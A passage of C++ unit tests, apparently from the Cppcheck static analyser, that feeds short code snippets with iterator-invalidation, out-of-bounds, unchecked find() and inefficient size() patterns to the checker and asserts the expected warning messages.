ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"std::list x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 == x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() != 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 != x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() > 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (0 < x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() >= 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 <= x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (1 > x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" if (!x.size()) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(x.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] =\"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(!x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = \"void f()\\n\"\n \"{\\n\"\n \" std::list x;\\n\"\n \" fun(a && x.size());\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"void f() {\\n\" // #4039\n \" std::list x;\\n\"\n \" fun(width % x.size() != 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4584\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (foo + 1 > x.size()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f() {\\n\"\n \" std::list x;\\n\"\n \" if (x.size() < 1 + foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size2() {\n const char code[] = \"struct Fred {\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"struct Wilma {\\n\"\n \" Fred f;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Wilma::foo()\\n\"\n \"{\\n\"\n \" if (f.x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:11]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void size3() {\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" 